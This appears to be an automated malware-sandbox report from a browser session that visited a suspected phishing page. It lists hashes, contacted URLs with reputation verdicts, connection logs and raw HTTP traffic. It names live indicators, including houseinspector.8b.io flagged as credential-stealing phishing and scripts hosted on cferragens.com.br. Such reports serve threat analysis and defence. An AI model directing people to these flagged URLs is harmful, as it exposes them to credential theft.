SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	low
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v3?s=%2BpNw3lYN5C7uJbA%2FDGgRvYeUX%2BS9yoEUhVSV3sE4Y7PcCLFSX8JWc%2Bgx9ytDwoVxSeH2tWTu7ZB%2F%2BgBbP%2FFdNqAYXX0DNwIUS5NjNfHG7A8323TV6wqD7XgCQg%3D%3D	false		high
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://cferragens.com.br/wp-server/basic.js	false	Avira URL Cloud: safe	unknown
https://r.8b.io/514777/images/Microsoft-Excel.png	false	Avira URL Cloud: safe	unknown
https://houseinspector.8b.io/favicon.ico	true	Avira URL Cloud: safe	unknown
https://cferragens.com.br/success.html	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high
https://houseinspector.8b.io/	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://cferragens.com.br/wp-server/jquery.js	false	Avira URL Cloud: safe	unknown
https://houseinspector.8b.io/	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://a.nel.cloudflare.com/report/v3?s=eaXM5IEjR1ShHcEDM%2BnJejdEjP71hbK39442X3%2Fmj1WoxodTl3nVuim%2BsUXT0SbB0ENzl6ZDdH7991f1XZMv6QWA9VDwnrHY3gbUvFF%2FCzoNm4L61LFC68Q1xw%3D%3D	false		high
https://r.8b.io/514777/images/outlook-.png	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://vr.8b.io/021.mp4	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://houseinspector.8b.io/2	History Provider Cache.0.dr	true	Avira URL Cloud: safe	unknown
https://dns.google	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr, 04991bd4-7b3c-4db5-9e0c-79194af4c0c6.tmp.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
https://www.google.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://clients2.googleusercontent.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://apis.google.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://www.google.com/	manifest.json.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://clients2.google.com	e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json.0.dr	false		high

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2022 23:41:47.220670938 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.220733881 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.220815897 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.222649097 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.222692966 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.222770929 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.224523067 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.224555016 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.224973917 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.225019932 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.291002035 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.291416883 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.291455984 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.294945002 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.295105934 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.303133011 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.303498030 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.303536892 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.305063963 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.305160999 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.306988955 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.307054043 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.624985933 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.625315905 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.625760078 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.626107931 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.626754999 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.626893044 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.627218008 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.627242088 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.661890984 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.661943913 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:47.662039995 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.662589073 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.662643909 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:47.662844896 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.662863970 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:47.663161039 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.663434029 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:47.663464069 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:47.669362068 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.669460058 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.669533014 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.669560909 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.671370029 CEST	49759	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:47.671402931 CEST	443	49759	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:47.688678980 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.690563917 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.690833092 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:47.690928936 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.694387913 CEST	49757	443	192.168.2.5	142.250.180.141
Jul 22, 2022 23:41:47.694422960 CEST	443	49757	142.250.180.141	192.168.2.5
Jul 22, 2022 23:41:48.105598927 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.106002092 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.106038094 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.106820107 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.107114077 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.107134104 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.107147932 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.107224941 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.108326912 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.108412981 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.110749960 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.110866070 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.110920906 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.111043930 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.111474991 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.111509085 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.188738108 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.188769102 CEST	443	49761	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.202074051 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.288721085 CEST	49761	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.434370041 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434425116 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434442043 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434478045 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434498072 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434518099 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434782028 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.434833050 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434856892 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.434962034 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.604392052 CEST	49760	443	192.168.2.5	44.207.172.104
Jul 22, 2022 23:41:48.604434967 CEST	443	49760	44.207.172.104	192.168.2.5
Jul 22, 2022 23:41:48.846515894 CEST	49768	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.846577883 CEST	443	49768	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.846684933 CEST	49768	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.846818924 CEST	49769	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.846868038 CEST	443	49769	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.846955061 CEST	49769	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.847052097 CEST	49768	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.847080946 CEST	443	49768	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.847290039 CEST	49769	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.847318888 CEST	443	49769	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.907629967 CEST	49772	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.907670975 CEST	443	49772	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.907761097 CEST	49772	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.908338070 CEST	49772	443	192.168.2.5	172.67.215.39
Jul 22, 2022 23:41:48.908360958 CEST	443	49772	172.67.215.39	192.168.2.5
Jul 22, 2022 23:41:48.929245949 CEST	443	49769	172.67.215.39	192.168.2.5

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2022 23:41:47.191463947 CEST	53934	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:47.192935944 CEST	63712	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:47.210486889 CEST	53	53934	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:47.220179081 CEST	53	63712	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:47.625386000 CEST	63187	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:47.649940014 CEST	53	63187	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:48.812079906 CEST	61941	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:48.832624912 CEST	53	61941	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:48.881983042 CEST	57352	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:48.904272079 CEST	53	57352	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:49.359534025 CEST	63241	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:49.378956079 CEST	53	63241	8.8.8.8	192.168.2.5
Jul 22, 2022 23:41:51.439079046 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.477195024 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.477627993 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.518373013 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.518421888 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.518462896 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.518501997 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.534784079 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.537936926 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.559047937 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.559478045 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.559926033 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.559971094 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.560244083 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.609472990 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.615811110 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.616398096 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.616589069 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.632854939 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.632891893 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.633342028 CEST	443	63244	216.58.209.46	192.168.2.5
Jul 22, 2022 23:41:51.650057077 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.675693989 CEST	63244	443	192.168.2.5	216.58.209.46
Jul 22, 2022 23:41:51.858299017 CEST	63538	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:41:51.880538940 CEST	53	63538	8.8.8.8	192.168.2.5
Jul 22, 2022 23:42:02.223774910 CEST	49912	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:02.452732086 CEST	53	49912	8.8.8.8	192.168.2.5
Jul 22, 2022 23:42:05.636790037 CEST	57990	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:05.639607906 CEST	62648	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:05.642584085 CEST	55473	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:05.646323919 CEST	54463	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:05.660424948 CEST	53	62648	8.8.8.8	192.168.2.5
Jul 22, 2022 23:42:05.666851044 CEST	53	54463	8.8.8.8	192.168.2.5
Jul 22, 2022 23:42:05.892549038 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:05.929219007 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:05.929269075 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:05.929311037 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:05.950376034 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:05.976238966 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:05.985076904 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:05.992124081 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:06.020324945 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:06.031121016 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:06.037520885 CEST	443	63719	142.250.184.99	192.168.2.5
Jul 22, 2022 23:42:06.043355942 CEST	63719	443	192.168.2.5	142.250.184.99
Jul 22, 2022 23:42:49.584067106 CEST	53690	53	192.168.2.5	8.8.8.8
Jul 22, 2022 23:42:49.603236914 CEST	53	53690	8.8.8.8	192.168.2.5

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:47 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:47 UTC	0	OUT	Data Raw: 20 Data Ascii:
2022-07-22 21:41:47 UTC	2	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 22 Jul 2022 21:41:47 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VzTm7OGilYKdnFyiqva2MQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-VzTm7OGilYKdnFyiqva2MQ' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-07-22 21:41:47 UTC	4	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-07-22 21:41:47 UTC	4	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:47 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:47 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-xYjp6BBIGqy_AAnp7R3NzA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 22 Jul 2022 21:41:47 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5681 X-Daystart: 52907 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-07-22 21:41:47 UTC	2	IN	Data Raw: 33 31 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 38 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 32 39 30 37 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 31b<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5681" elapsed_seconds="52907"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2022-07-22 21:41:47 UTC	2	IN	Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a
2022-07-22 21:41:47 UTC	2	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
